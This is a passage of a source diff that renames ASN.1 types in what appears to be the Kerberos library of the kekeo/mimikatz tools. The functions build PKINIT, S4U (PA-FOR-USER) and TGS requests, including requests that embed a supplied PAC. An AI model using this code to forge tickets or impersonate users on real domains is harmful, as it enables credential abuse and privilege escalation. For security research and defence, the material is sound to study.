if(kull_m_kerberos_asn1_crypto_simple_message_dec(provInfo, &pkAsRep->u.encKeyPack, &KeyData))
{
- internDpu = KERB_REPLY_KEY_PACKAGE_PDU;
+ internDpu = KULL_M_ASN1_KERB_REPLY_KEY_PACKAGE_PDU;
if(!ossDecode(&kull_m_kerberos_asn1_world, &internDpu, &KeyData, (LPVOID *) &KeyPack))
{
status = kull_m_kerberos_asn1_EncKDCRepPart_from_Rep_Key_build(rep, &KeyPack->replyKey, pdu, encRepPart);
@@ -449,28 +458,28 @@ BOOL kull_m_kerberos_asn1_EncKDCRepPart_from_Rep_Rsa_build(KDC_REP *rep, PKULL_M
if(replyKey->keyvalue.value = (PBYTE) LocalAlloc(LPTR, replyKey->keyvalue.length))
RtlCopyMemory(replyKey->keyvalue.value, KeyPack->replyKey.keyvalue.value, replyKey->keyvalue.length);
}
- ossFreePDU(&kull_m_kerberos_asn1_world, KERB_REPLY_KEY_PACKAGE_PDU, KeyPack);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_KERB_REPLY_KEY_PACKAGE_PDU, KeyPack);
}
else PRINT_ERROR(L"Unable to decode KERB_REPLY_KEY_PACKAGE from encKeyPack: %s\n", ossGetErrMsg(&kull_m_kerberos_asn1_world));;
LocalFree(KeyData.value);
}
}
else PRINT_ERROR(L"PA_PK_AS_REP (old) is not encKeyPack\n");
- ossFreePDU(&kull_m_kerberos_asn1_world, PA_PK_AS_REP_PDU, pkAsRep);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_PA_PK_AS_REP_PDU, pkAsRep);
}
else PRINT_ERROR(L"Unable to decode PA_PK_AS_REP from REP: %s\n", ossGetErrMsg(&kull_m_kerberos_asn1_world));;
}
return status;
}
-BOOL kull_m_kerberos_asn1_EncKDCRepPart_from_Rep_RsaDh_build(KDC_REP *rep, PKULL_M_CRYPTO_DH_KEY_INFO dhKeyInfo, int pdu, EncKDCRepPart **encRepPart, EncryptionKey *replyKey)
+BOOL kull_m_kerberos_asn1_EncKDCRepPart_from_Rep_RsaDh_build(KULL_M_ASN1_KDC_REP *rep, PKULL_M_CRYPTO_DH_KEY_INFO dhKeyInfo, int pdu, KULL_M_ASN1_EncKDCRepPart **encRepPart, KULL_M_ASN1_EncryptionKey *replyKey)
{
BOOL status = FALSE;
- int internDpu = PA_PK_AS_REP_PDU;
- PA_DATA *paAsRep;
- PA_PK_AS_REP *pkAsRep = NULL;
+ int internDpu = KULL_M_ASN1_PA_PK_AS_REP_PDU;
+ KULL_M_ASN1_PA_DATA *paAsRep;
+ KULL_M_ASN1_PA_PK_AS_REP *pkAsRep = NULL;
OssBuf buffer = {0, NULL};
- KDCDHKeyInfo *keyInfo = NULL;
+ KULL_M_ASN1_KDCDHKeyInfo *keyInfo = NULL;
PCRYPT_INTEGER_BLOB pIntegerBlob;
DWORD szPublicKey;
@@ -479,7 +488,7 @@ BOOL kull_m_kerberos_asn1_EncKDCRepPart_from_Rep_RsaDh_build(KDC_REP *rep, PKULL
DWORD dwSessionKey = 0;
PBYTE pSessionKey;
- EncryptionKey eKey = {rep->enc_part.etype, {0, NULL}};
+ KULL_M_ASN1_EncryptionKey eKey = {rep->enc_part.etype, {0, NULL}};
*encRepPart = NULL;
@@ -487,11 +496,11 @@ BOOL kull_m_kerberos_asn1_EncKDCRepPart_from_Rep_RsaDh_build(KDC_REP *rep, PKULL
{
if(!ossDecode(&kull_m_kerberos_asn1_world, &internDpu, (OssBuf *) &paAsRep->padata_value, (LPVOID *) &pkAsRep))
{
- if(pkAsRep->choice == dhInfo_chosen)
+ if(pkAsRep->choice == KULL_M_ASN1_dhInfo_chosen)
{
- if((!(dhKeyInfo->dhClientNonce.length && dhKeyInfo->dhClientNonce.value) == !(pkAsRep->u.dhInfo.bit_mask & serverDHNonce_present))
+ if((!(dhKeyInfo->dhClientNonce.length && dhKeyInfo->dhClientNonce.value) == !(pkAsRep->u.dhInfo.bit_mask & KULL_M_ASN1_serverDHNonce_present))
||
- ((dhKeyInfo->dhClientNonce.length && dhKeyInfo->dhClientNonce.value) && (pkAsRep->u.dhInfo.bit_mask & serverDHNonce_present)))
+ ((dhKeyInfo->dhClientNonce.length && dhKeyInfo->dhClientNonce.value) && (pkAsRep->u.dhInfo.bit_mask & KULL_M_ASN1_serverDHNonce_present)))
{
//if(pkAsRep->u.dhInfo.bit_mask & serverDHNonce_present)
//{
@@ -499,7 +508,7 @@ BOOL kull_m_kerberos_asn1_EncKDCRepPart_from_Rep_RsaDh_build(KDC_REP *rep, PKULL
//}
if(kull_m_kerberos_asn1_crypto_simple_message_get(&pkAsRep->u.dhInfo.dhSignedData, &buffer))
{
- internDpu = KDCDHKeyInfo_PDU;
+ internDpu = KULL_M_ASN1_KDCDHKeyInfo_PDU;
if(!ossDecode(&kull_m_kerberos_asn1_world, &internDpu, &buffer, (LPVOID *) &keyInfo))
{
if(kull_m_kerberos_asn1_crypto_genericDecode(X509_DH_PUBLICKEY, keyInfo->subjectPublicKey.value, keyInfo->subjectPublicKey.length / 8, (LPVOID *) &pIntegerBlob))
@@ -526,7 +535,7 @@ BOOL kull_m_kerberos_asn1_EncKDCRepPart_from_Rep_RsaDh_build(KDC_REP *rep, PKULL
//kprintf(L"(W) SessionKey:\n"); kull_m_string_wprintf_hex(pSessionKey, dwSessionKey, 0 | (32 << 16)); kprintf(L"\n"); //
kull_m_kerberos_asn1_crypto_reverseit(pSessionKey, dwSessionKey);
//kprintf(L"(-) SessionKey:\n"); kull_m_string_wprintf_hex(pSessionKey, dwSessionKey, 0 | (32 << 16)); kprintf(L"\n"); //
- if(kull_m_kerberos_asn1_crypto_octetstring2key(pSessionKey, dwSessionKey, &dhKeyInfo->dhClientNonce, (pkAsRep->u.dhInfo.bit_mask & serverDHNonce_present) ? &pkAsRep->u.dhInfo.serverDHNonce : NULL, &eKey))
+ if(kull_m_kerberos_asn1_crypto_octetstring2key(pSessionKey, dwSessionKey, &dhKeyInfo->dhClientNonce, (pkAsRep->u.dhInfo.bit_mask & KULL_M_ASN1_serverDHNonce_present) ? &pkAsRep->u.dhInfo.serverDHNonce : NULL, &eKey))
{
//kprintf(L"(-) Kerberos key (%s):\n", kull_m_kerberos_asn1_crypto_etype(eKey.keytype)); kull_m_string_wprintf_hex(eKey.keyvalue.value, eKey.keyvalue.length, 0 | (32 << 16)); kprintf(L"\n");
status = kull_m_kerberos_asn1_EncKDCRepPart_from_Rep_Key_build(rep, &eKey, pdu, encRepPart);
@@ -549,7 +558,7 @@ BOOL kull_m_kerberos_asn1_EncKDCRepPart_from_Rep_RsaDh_build(KDC_REP *rep, PKULL
LocalFree(PublicKey);
}
}
- ossFreePDU(&kull_m_kerberos_asn1_world, KDCDHKeyInfo_PDU, keyInfo);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_KDCDHKeyInfo_PDU, keyInfo);
}
LocalFree(buffer.value);
}
@@ -557,34 +566,34 @@ BOOL kull_m_kerberos_asn1_EncKDCRepPart_from_Rep_RsaDh_build(KDC_REP *rep, PKULL
else PRINT_ERROR(L"Illogic nonce between client and server\n");
}
else PRINT_ERROR(L"PA_PK_AS_REP is not dhInfo\n");
- ossFreePDU(&kull_m_kerberos_asn1_world, PA_PK_AS_REP_PDU, pkAsRep);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_PA_PK_AS_REP_PDU, pkAsRep);
}
else PRINT_ERROR(L"Unable to decode PA_PK_AS_REP from REP: %S\n", ossGetErrMsg(&kull_m_kerberos_asn1_world));;
}
return status;
}
-void kull_m_kerberos_asn1_PA_DATAs_build(_seqof4 *padata, DWORD count, ...)
+void kull_m_kerberos_asn1_PA_DATAs_build(KULL_M_ASN1__seqof4 *padata, DWORD count, ...)
{
DWORD i;
va_list vaList;
va_start(vaList, count);
- if(*padata = (_seqof4) LocalAlloc(LPTR, sizeof(struct _seqof4) * count))
+ if(*padata = (KULL_M_ASN1__seqof4) LocalAlloc(LPTR, sizeof(struct KULL_M_ASN1__seqof4) * count))
{
for(i = 0; i < count; i++)
{
- (*padata)[i].value = *va_arg(vaList, PA_DATA *);
+ (*padata)[i].value = *va_arg(vaList, KULL_M_ASN1_PA_DATA *);
(*padata)[i].next = (i + 1 < count) ? &((*padata)[i + 1]) : NULL;
}
}
va_end(vaList);
}
-PA_DATA * kull_m_kerberos_asn1_PADATA_from_REP(KDC_REP *Rep, Int32 type)
+KULL_M_ASN1_PA_DATA * kull_m_kerberos_asn1_PADATA_from_REP(KULL_M_ASN1_KDC_REP *Rep, KULL_M_ASN1_Int32 type)
{
- PA_DATA *result = NULL;
- struct _seqof4 *padata;
- if(Rep->bit_mask & KDC_REP_padata_present)
+ KULL_M_ASN1_PA_DATA *result = NULL;
+ struct KULL_M_ASN1__seqof4 *padata;
+ if(Rep->bit_mask & KULL_M_ASN1_KDC_REP_padata_present)
{
for(padata = Rep->padata; padata; padata = padata->next)
if(padata->value.padata_type == type)
@@ -596,11 +605,11 @@ PA_DATA * kull_m_kerberos_asn1_PADATA_from_REP(KDC_REP *Rep, Int32 type)
return result;
}
-PA_DATA * kull_m_kerberos_asn1_PADATA_from_REQ(KDC_REQ *Req, Int32 type)
+KULL_M_ASN1_PA_DATA * kull_m_kerberos_asn1_PADATA_from_REQ(KULL_M_ASN1_KDC_REQ *Req, KULL_M_ASN1_Int32 type)
{
- PA_DATA *result = NULL;
- struct _seqof4 *padata;
- if(Req->bit_mask & KDC_REQ_padata_present)
+ KULL_M_ASN1_PA_DATA *result = NULL;
+ struct KULL_M_ASN1__seqof4 *padata;
+ if(Req->bit_mask & KULL_M_ASN1_KDC_REQ_padata_present)
{
for(padata = Req->padata; padata; padata = padata->next)
if(padata->value.padata_type == type)
@@ -612,12 +621,12 @@ PA_DATA * kull_m_kerberos_asn1_PADATA_from_REQ(KDC_REQ *Req, Int32 type)
return result;
}
-_octet1 * kull_m_kerberos_asn1_AuthorizationData_from_Type(AuthorizationData data, Int32 ad_type)
+KULL_M_ASN1__octet1 * kull_m_kerberos_asn1_AuthorizationData_from_Type(KULL_M_ASN1_AuthorizationData data, KULL_M_ASN1_Int32 ad_type)
{
- _octet1 *ad_data = NULL;
- AuthorizationData cur;
- AD_IF_RELEVANT *adIfRelevant = NULL; // *?
- int myPdu = AD_IF_RELEVANT_PDU;
+ KULL_M_ASN1__octet1 *ad_data = NULL;
+ KULL_M_ASN1_AuthorizationData cur;
+ KULL_M_ASN1_AD_IF_RELEVANT *adIfRelevant = NULL; // *?
+ int myPdu = KULL_M_ASN1_AD_IF_RELEVANT_PDU;
for(cur = data; cur && !ad_data; cur = cur->next)
{
@@ -628,33 +637,33 @@ _octet1 * kull_m_kerberos_asn1_AuthorizationData_from_Type(AuthorizationData dat
if(!ossDecode(&kull_m_kerberos_asn1_world, &myPdu, (OssBuf *) &cur->value.ad_data, (LPVOID *) &adIfRelevant))
{
ad_data = kull_m_kerberos_asn1_AuthorizationData_from_Type(*adIfRelevant, ad_type);
- ossFreePDU(&kull_m_kerberos_asn1_world, AD_IF_RELEVANT_PDU, *adIfRelevant);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_AD_IF_RELEVANT_PDU, *adIfRelevant);
}
}
}
return ad_data;
}
-BOOL kull_m_kerberos_asn1_PA_DATA_encTimeStamp_build(PA_DATA *data, KerberosTime *time, EncryptionKey *key)
+BOOL kull_m_kerberos_asn1_PA_DATA_encTimeStamp_build(KULL_M_ASN1_PA_DATA *data, KULL_M_ASN1_KerberosTime *time, KULL_M_ASN1_EncryptionKey *key)
{
BOOL status = FALSE;
- PA_ENC_TS_ENC tsEnc = {0};
- PA_ENC_TIMESTAMP timeStampEnc = {0};
+ KULL_M_ASN1_PA_ENC_TS_ENC tsEnc = {0};
+ KULL_M_ASN1_PA_ENC_TIMESTAMP timeStampEnc = {0};
OssBuf encodedTsEnc = {0, NULL}, encodedTimeStamp = {0, NULL};
NTSTATUS ntStatus;
- RtlZeroMemory(data, sizeof(PA_DATA));
+ RtlZeroMemory(data, sizeof(KULL_M_ASN1_PA_DATA));
timeStampEnc.etype = key->keytype;
if(time)
tsEnc.patimestamp = *time;
else
kull_m_kerberos_asn1_KerberosTime_build_systemtime(&tsEnc.patimestamp, NULL, FALSE);
- if(!ossEncode(&kull_m_kerberos_asn1_world, PA_ENC_TS_ENC_PDU, &tsEnc, &encodedTsEnc))
+ if(!ossEncode(&kull_m_kerberos_asn1_world, KULL_M_ASN1_PA_ENC_TS_ENC_PDU, &tsEnc, &encodedTsEnc))
{
ntStatus = kull_m_kerberos_asn1_crypto_encrypt(KRB_KEY_USAGE_AS_REQ_PA_ENC_TIMESTAMP, key, &encodedTsEnc, (OssBuf *) &timeStampEnc.cipher, TRUE);
if(NT_SUCCESS(ntStatus))
{
- if(status = !ossEncode(&kull_m_kerberos_asn1_world, PA_ENC_TIMESTAMP_PDU, &timeStampEnc, &encodedTimeStamp))
+ if(status = !ossEncode(&kull_m_kerberos_asn1_world, KULL_M_ASN1_PA_ENC_TIMESTAMP_PDU, &timeStampEnc, &encodedTimeStamp))
{
data->padata_type = PA_TYPE_ENC_TIMESTAMP;
data->padata_value.length = encodedTimeStamp.length;
@@ -670,16 +679,16 @@ BOOL kull_m_kerberos_asn1_PA_DATA_encTimeStamp_build(PA_DATA *data, KerberosTime
return status;
}
-BOOL kull_m_kerberos_asn1_PA_DATA_PA_PK_AS_REQ_old_build(PA_DATA *data, PrincipalName *sname, Realm srealm, KerberosTime *time, PKULL_M_CRYPTO_CERT_INFO certSignInfo)
+BOOL kull_m_kerberos_asn1_PA_DATA_PA_PK_AS_REQ_old_build(KULL_M_ASN1_PA_DATA *data, KULL_M_ASN1_PrincipalName *sname, KULL_M_ASN1_Realm srealm, KULL_M_ASN1_KerberosTime *time, PKULL_M_CRYPTO_CERT_INFO certSignInfo)
{
BOOL status = FALSE;
- PA_PK_AS_REQ pkAsReq = {0, {0, NULL}};
+ KULL_M_ASN1_PA_PK_AS_REQ pkAsReq = {0, {0, NULL}};
OssBuf encodedPkAsReq = {0, NULL};
- RtlZeroMemory(data, sizeof(PA_DATA));
+ RtlZeroMemory(data, sizeof(KULL_M_ASN1_PA_DATA));
if(kull_m_kerberos_asn1_AuthPackOld_signed_build(&pkAsReq.signedAuthPack, sname, srealm, time, certSignInfo))
{
- if(status = !ossEncode(&kull_m_kerberos_asn1_world, PA_PK_AS_REQ_PDU, &pkAsReq, &encodedPkAsReq))
+ if(status = !ossEncode(&kull_m_kerberos_asn1_world, KULL_M_ASN1_PA_PK_AS_REQ_PDU, &pkAsReq, &encodedPkAsReq))
{
data->padata_type = PA_TYPE_PK_AS_REP_OLD;
data->padata_value.length = encodedPkAsReq.length;
@@ -692,12 +701,12 @@ BOOL kull_m_kerberos_asn1_PA_DATA_PA_PK_AS_REQ_old_build(PA_DATA *data, Principa
return status;
}
-BOOL kull_m_kerberos_asn1_AuthPackOld_signed_build(_octet1 *signedInfo, PrincipalName *sname, Realm srealm, KerberosTime *time, PKULL_M_CRYPTO_CERT_INFO certSignInfo)
+BOOL kull_m_kerberos_asn1_AuthPackOld_signed_build(KULL_M_ASN1__octet1 *signedInfo, KULL_M_ASN1_PrincipalName *sname, KULL_M_ASN1_Realm srealm, KULL_M_ASN1_KerberosTime *time, PKULL_M_CRYPTO_CERT_INFO certSignInfo)
{
BOOL status = FALSE;
OssBuf AuthPackOld = {0, NULL};
- RtlZeroMemory(signedInfo, sizeof(_octet1));
+ RtlZeroMemory(signedInfo, sizeof(KULL_M_ASN1__octet1));
if(kull_m_kerberos_asn1_AuthPackOld_build(&AuthPackOld, sname, srealm, time))
{
status = kull_m_kerberos_asn1_crypto_simple_message_sign(certSignInfo, &AuthPackOld, signedInfo);
@@ -706,10 +715,10 @@ BOOL kull_m_kerberos_asn1_AuthPackOld_signed_build(_octet1 *signedInfo, Principa
return status;
}
-BOOL kull_m_kerberos_asn1_AuthPackOld_build(OssBuf *AuthPackOld, PrincipalName *sname, Realm srealm, KerberosTime *time)
+BOOL kull_m_kerberos_asn1_AuthPackOld_build(OssBuf *AuthPackOld, KULL_M_ASN1_PrincipalName *sname, KULL_M_ASN1_Realm srealm, KULL_M_ASN1_KerberosTime *time)
{
BOOL status = FALSE;
- AuthPack_OLD auth = {0};
+ KULL_M_ASN1_AuthPack_OLD auth = {0};
RtlZeroMemory(AuthPackOld, sizeof(OssBuf));
auth.pkAuthenticator.kdc_name = *sname;
@@ -720,21 +729,21 @@ BOOL kull_m_kerberos_asn1_AuthPackOld_build(OssBuf *AuthPackOld, PrincipalName *
auth.pkAuthenticator.ctime = *time;
else
kull_m_kerberos_asn1_KerberosTime_build_systemtime(&auth.pkAuthenticator.ctime, NULL, FALSE);
- if(!(status = !ossEncode(&kull_m_kerberos_asn1_world, AuthPack_OLD_PDU, &auth, AuthPackOld)))
+ if(!(status = !ossEncode(&kull_m_kerberos_asn1_world, KULL_M_ASN1_AuthPack_OLD_PDU, &auth, AuthPackOld)))
PRINT_ERROR(L"Unable to encode AuthPack_OLD: %S\n", ossGetErrMsg(&kull_m_kerberos_asn1_world));
return status;
}
-BOOL kull_m_kerberos_asn1_PA_DATA_PA_PK_AS_REQ_build(PA_DATA *data, PSHA_DIGEST digest, KerberosTime *time, PKULL_M_CRYPTO_CERT_INFO certSignInfo, PKULL_M_CRYPTO_DH_KEY_INFO dhKeyInfo)
+BOOL kull_m_kerberos_asn1_PA_DATA_PA_PK_AS_REQ_build(KULL_M_ASN1_PA_DATA *data, PSHA_DIGEST digest, KULL_M_ASN1_KerberosTime *time, PKULL_M_CRYPTO_CERT_INFO certSignInfo, PKULL_M_CRYPTO_DH_KEY_INFO dhKeyInfo)
{
BOOL status = FALSE;
- PA_PK_AS_REQ pkAsReq = {0, {0, NULL}};
+ KULL_M_ASN1_PA_PK_AS_REQ pkAsReq = {0, {0, NULL}};
OssBuf encodedPkAsReq = {0, NULL};
- RtlZeroMemory(data, sizeof(PA_DATA));
+ RtlZeroMemory(data, sizeof(KULL_M_ASN1_PA_DATA));
if(kull_m_kerberos_asn1_AuthPack_signed_build(&pkAsReq.signedAuthPack, digest, time, certSignInfo, dhKeyInfo))
{
- if(status = !ossEncode(&kull_m_kerberos_asn1_world, PA_PK_AS_REQ_PDU, &pkAsReq, &encodedPkAsReq))
+ if(status = !ossEncode(&kull_m_kerberos_asn1_world, KULL_M_ASN1_PA_PK_AS_REQ_PDU, &pkAsReq, &encodedPkAsReq))
{
data->padata_type = PA_TYPE_PK_AS_REQ;
data->padata_value.length = encodedPkAsReq.length;
@@ -747,12 +756,12 @@ BOOL kull_m_kerberos_asn1_PA_DATA_PA_PK_AS_REQ_build(PA_DATA *data, PSHA_DIGEST
return status;
}
-BOOL kull_m_kerberos_asn1_AuthPack_signed_build(_octet1 * signedInfo, PSHA_DIGEST digest, KerberosTime *time, PKULL_M_CRYPTO_CERT_INFO certSignInfo, PKULL_M_CRYPTO_DH_KEY_INFO dhKeyInfo)
+BOOL kull_m_kerberos_asn1_AuthPack_signed_build(KULL_M_ASN1__octet1 * signedInfo, PSHA_DIGEST digest, KULL_M_ASN1_KerberosTime *time, PKULL_M_CRYPTO_CERT_INFO certSignInfo, PKULL_M_CRYPTO_DH_KEY_INFO dhKeyInfo)
{
BOOL status = FALSE;
OssBuf AuthPack = {0, NULL};
- RtlZeroMemory(signedInfo, sizeof(_octet1));
+ RtlZeroMemory(signedInfo, sizeof(KULL_M_ASN1__octet1));
if(kull_m_kerberos_asn1_AuthPack_build(&AuthPack, digest, time, dhKeyInfo))
{
status = kull_m_kerberos_asn1_crypto_simple_message_sign(certSignInfo, &AuthPack, signedInfo);
@@ -762,10 +771,10 @@ BOOL kull_m_kerberos_asn1_AuthPack_signed_build(_octet1 * signedInfo, PSHA_DIGES
}
const BYTE sha_req[SHA_DIGEST_LENGTH] = {0}; // Windows does not check? :))
-BOOL kull_m_kerberos_asn1_AuthPack_build(OssBuf *authPack, PSHA_DIGEST digest, KerberosTime *time, PKULL_M_CRYPTO_DH_KEY_INFO dhKeyInfo)
+BOOL kull_m_kerberos_asn1_AuthPack_build(OssBuf *authPack, PSHA_DIGEST digest, KULL_M_ASN1_KerberosTime *time, PKULL_M_CRYPTO_DH_KEY_INFO dhKeyInfo)
{
BOOL status = FALSE;
- AuthPack auth = {0};
+ KULL_M_ASN1_AuthPack auth = {0};
DWORD szPublicKey = 0;
PUBLICKEYSTRUC *PublicKey = NULL;
CRYPT_INTEGER_BLOB integerBlob = {0};
@@ -779,7 +788,7 @@ BOOL kull_m_kerberos_asn1_AuthPack_build(OssBuf *authPack, PSHA_DIGEST digest, K
//kprintf("(W) Client G param:\n"); kull_m_string_printf_hex(parameters.g.pbData, parameters.g.cbData, 0 | (32 << 16)); kprintf("\n");
if(kull_m_kerberos_asn1_crypto_genericEncode(X509_DH_PARAMETERS, ¶meters, &auth.clientPublicValue.algorithm.parameters.value, (PDWORD) &auth.clientPublicValue.algorithm.parameters.length))
{
- auth.clientPublicValue.algorithm.bit_mask = parameters_present;
+ auth.clientPublicValue.algorithm.bit_mask = KULL_M_ASN1_parameters_present;
if(CryptExportKey(dhKeyInfo->hKey, 0, PUBLICKEYBLOB, 0, NULL, &szPublicKey))
{
if(PublicKey = (PUBLICKEYSTRUC *) LocalAlloc(LPTR, szPublicKey))
@@ -792,14 +801,14 @@ BOOL kull_m_kerberos_asn1_AuthPack_build(OssBuf *authPack, PSHA_DIGEST digest, K
if(kull_m_kerberos_asn1_crypto_genericEncode(X509_DH_PUBLICKEY, &integerBlob, &auth.clientPublicValue.subjectPublicKey.value, (PDWORD) &auth.clientPublicValue.subjectPublicKey.length))
{
auth.clientPublicValue.subjectPublicKey.length *= 8; // in bits
- auth.bit_mask = clientPublicValue_present;
+ auth.bit_mask = KULL_M_ASN1_clientPublicValue_present;
if(dhKeyInfo->dhClientNonce.length && dhKeyInfo->dhClientNonce.value)
{
- auth.bit_mask |= clientDHNonce_present;
+ auth.bit_mask |= KULL_M_ASN1_clientDHNonce_present;
auth.clientDHNonce = dhKeyInfo->dhClientNonce;
//kprintf("(-) Client Nonce:\n"); kull_m_string_printf_hex(auth.clientDHNonce.value, auth.clientDHNonce.length, 0 | (32 << 16)); kprintf("\n");
}
- auth.pkAuthenticator.bit_mask = paChecksum_present;
+ auth.pkAuthenticator.bit_mask = KULL_M_ASN1_paChecksum_present;
auth.pkAuthenticator.cusec = 0;
if(time)
auth.pkAuthenticator.ctime = *time;
@@ -812,7 +821,7 @@ BOOL kull_m_kerberos_asn1_AuthPack_build(OssBuf *authPack, PSHA_DIGEST digest, K
{
auth.clientPublicValue.algorithm.algorithm.length = eoid.length;
auth.clientPublicValue.algorithm.algorithm.value = eoid.value;
- if(!(status = !ossEncode(&kull_m_kerberos_asn1_world, AuthPack_PDU, &auth, authPack)))
+ if(!(status = !ossEncode(&kull_m_kerberos_asn1_world, KULL_M_ASN1_AuthPack_PDU, &auth, authPack)))
ossFreeBuf(&kull_m_kerberos_asn1_world, authPack->value);
ossFreeBuf(&kull_m_kerberos_asn1_world, eoid.value);
}
@@ -829,7 +838,7 @@ BOOL kull_m_kerberos_asn1_AuthPack_build(OssBuf *authPack, PSHA_DIGEST digest, K
return status;
}
-BOOL kull_m_kerberos_asn1_PA_DATA_FOR_USER_build(PA_DATA *data, PrincipalName *user, Realm realm, EncryptionKey *key)
+BOOL kull_m_kerberos_asn1_PA_DATA_FOR_USER_build(KULL_M_ASN1_PA_DATA *data, KULL_M_ASN1_PrincipalName *user, KULL_M_ASN1_Realm realm, KULL_M_ASN1_EncryptionKey *key)
{
BOOL status = FALSE;
OssBuf encodedReq = {0, NULL};
@@ -844,14 +853,14 @@ BOOL kull_m_kerberos_asn1_PA_DATA_FOR_USER_build(PA_DATA *data, PrincipalName *u
return status;
}
-BOOL kull_m_kerberos_asn1_ForUser_build(OssBuf *ForUserData, PrincipalName *user, Realm realm, EncryptionKey *key)
+BOOL kull_m_kerberos_asn1_ForUser_build(OssBuf *ForUserData, KULL_M_ASN1_PrincipalName *user, KULL_M_ASN1_Realm realm, KULL_M_ASN1_EncryptionKey *key)
{
BOOL status = FALSE;
- PA_FOR_USER_ENC forUser;
+ KULL_M_ASN1_PA_FOR_USER_ENC forUser;
BYTE hmacMd5[MD5_DIGEST_LENGTH] = {0};
PKERB_CHECKSUM pCheckSum;
PVOID Context;
- _seqof1 pname;
+ KULL_M_ASN1__seqof1 pname;
ForUserData->length = 0;
ForUserData->value = NULL;
@@ -878,19 +887,19 @@ BOOL kull_m_kerberos_asn1_ForUser_build(OssBuf *ForUserData, PrincipalName *user
}
}
}
- if(!(status = !ossEncode(&kull_m_kerberos_asn1_world, PA_FOR_USER_ENC_PDU, &forUser, ForUserData)))
+ if(!(status = !ossEncode(&kull_m_kerberos_asn1_world, KULL_M_ASN1_PA_FOR_USER_ENC_PDU, &forUser, ForUserData)))
PRINT_ERROR(L"Unable to encode PA_FOR_USER_ENC: %s\n", ossGetErrMsg(&kull_m_kerberos_asn1_world));
return status;
}
-BOOL kull_m_kerberos_asn1_TgsReq_build(OssBuf *OutKdcReq, PrincipalName *cname, Realm crealm, PrincipalName *sname, Realm srealm, DWORD options, Ticket *ticket, EncryptionKey *key, Ticket *addTicket, _octet1 *pac, PA_DATA *optPa)
+BOOL kull_m_kerberos_asn1_TgsReq_build(OssBuf *OutKdcReq, KULL_M_ASN1_PrincipalName *cname, KULL_M_ASN1_Realm crealm, KULL_M_ASN1_PrincipalName *sname, KULL_M_ASN1_Realm srealm, DWORD options, KULL_M_ASN1_Ticket *ticket, KULL_M_ASN1_EncryptionKey *key, KULL_M_ASN1_Ticket *addTicket, KULL_M_ASN1__octet1 *pac, KULL_M_ASN1_PA_DATA *optPa)
{
BOOL status = FALSE;
NTSTATUS ntStatus;
- TGS_REQ tgsReq = {0};
- PA_DATA PaGeneric = {0};
+ KULL_M_ASN1_TGS_REQ tgsReq = {0};
+ KULL_M_ASN1_PA_DATA PaGeneric = {0};
OssBuf AuthData = {0, NULL};
- struct _seqof3 seqofTickets;
+ struct KULL_M_ASN1__seqof3 seqofTickets;
OutKdcReq->length = 0;
OutKdcReq->value = NULL;
@@ -902,16 +911,16 @@ BOOL kull_m_kerberos_asn1_TgsReq_build(OssBuf *OutKdcReq, PrincipalName *cname,
seqofTickets.next = NULL;
seqofTickets.value = *addTicket;
tgsReq.req_body.additional_tickets = &seqofTickets;
- tgsReq.req_body.bit_mask |= additional_tickets_present;
+ tgsReq.req_body.bit_mask |= KULL_M_ASN1_additional_tickets_present;
}
if(pac)
{
if(kull_m_kerberos_asn1_AuthorizationData_from_PAC_build(&AuthData, pac))
{
- ntStatus = kull_m_kerberos_asn1_crypto_encrypt((ticket->enc_part.bit_mask & kvno_present) ? KRB_KEY_USAGE_AS_REQ_AUTHORIZATION_SESSION : KRB_KEY_USAGE_AS_DATA_ENCRYPTED_NO_SPEC, key, &AuthData, (OssBuf *) &tgsReq.req_body.enc_authorization_data.cipher, TRUE);
+ ntStatus = kull_m_kerberos_asn1_crypto_encrypt((ticket->enc_part.bit_mask & KULL_M_ASN1_kvno_present) ? KRB_KEY_USAGE_AS_REQ_AUTHORIZATION_SESSION : KRB_KEY_USAGE_AS_DATA_ENCRYPTED_NO_SPEC, key, &AuthData, (OssBuf *) &tgsReq.req_body.enc_authorization_data.cipher, TRUE);
if(NT_SUCCESS(ntStatus))
{
- tgsReq.req_body.bit_mask |= enc_authorization_data_present;
+ tgsReq.req_body.bit_mask |= KULL_M_ASN1_enc_authorization_data_present;
tgsReq.req_body.enc_authorization_data.etype = key->keytype;
}
else PRINT_ERROR(L"Encrypt: %08x\n", ntStatus);
@@ -921,8 +930,8 @@ BOOL kull_m_kerberos_asn1_TgsReq_build(OssBuf *OutKdcReq, PrincipalName *cname,
if(kull_m_kerberos_asn1_PA_DATA_TGS_REQ_build(&PaGeneric, cname, crealm, ticket, key))
{
kull_m_kerberos_asn1_PA_DATAs_build(&tgsReq.padata, optPa ? 2 : 1, &PaGeneric, optPa);
- tgsReq.bit_mask = KDC_REQ_padata_present;
- if(!(status = !ossEncode(&kull_m_kerberos_asn1_world, TGS_REQ_PDU, &tgsReq, OutKdcReq)))
+ tgsReq.bit_mask = KULL_M_ASN1_KDC_REQ_padata_present;
+ if(!(status = !ossEncode(&kull_m_kerberos_asn1_world, KULL_M_ASN1_TGS_REQ_PDU, &tgsReq, OutKdcReq)))
PRINT_ERROR(L"Unable to encode TGS_REQ: %S\n", ossGetErrMsg(&kull_m_kerberos_asn1_world));
if(tgsReq.padata)
LocalFree(tgsReq.padata);
@@ -933,14 +942,14 @@ BOOL kull_m_kerberos_asn1_TgsReq_build(OssBuf *OutKdcReq, PrincipalName *cname,
return status;
}
-BOOL kull_m_kerberos_asn1_PA_DATA_PacRequest_build(PA_DATA *data, BOOL request)
+BOOL kull_m_kerberos_asn1_PA_DATA_PacRequest_build(KULL_M_ASN1_PA_DATA *data, BOOL request)
{
BOOL status = FALSE;
- KERB_PA_PAC_REQUEST pacRequest = {request};
+ KULL_M_ASN1_KERB_PA_PAC_REQUEST pacRequest = {request};
OssBuf encodedReq = {0, NULL};
- RtlZeroMemory(data, sizeof(PA_DATA));
- if(status = !ossEncode(&kull_m_kerberos_asn1_world, KERB_PA_PAC_REQUEST_PDU, &pacRequest, &encodedReq))
+ RtlZeroMemory(data, sizeof(KULL_M_ASN1_PA_DATA));
+ if(status = !ossEncode(&kull_m_kerberos_asn1_world, KULL_M_ASN1_KERB_PA_PAC_REQUEST_PDU, &pacRequest, &encodedReq))
{
data->padata_type = PA_TYPE_PAC_REQUEST;
data->padata_value.length = encodedReq.length;
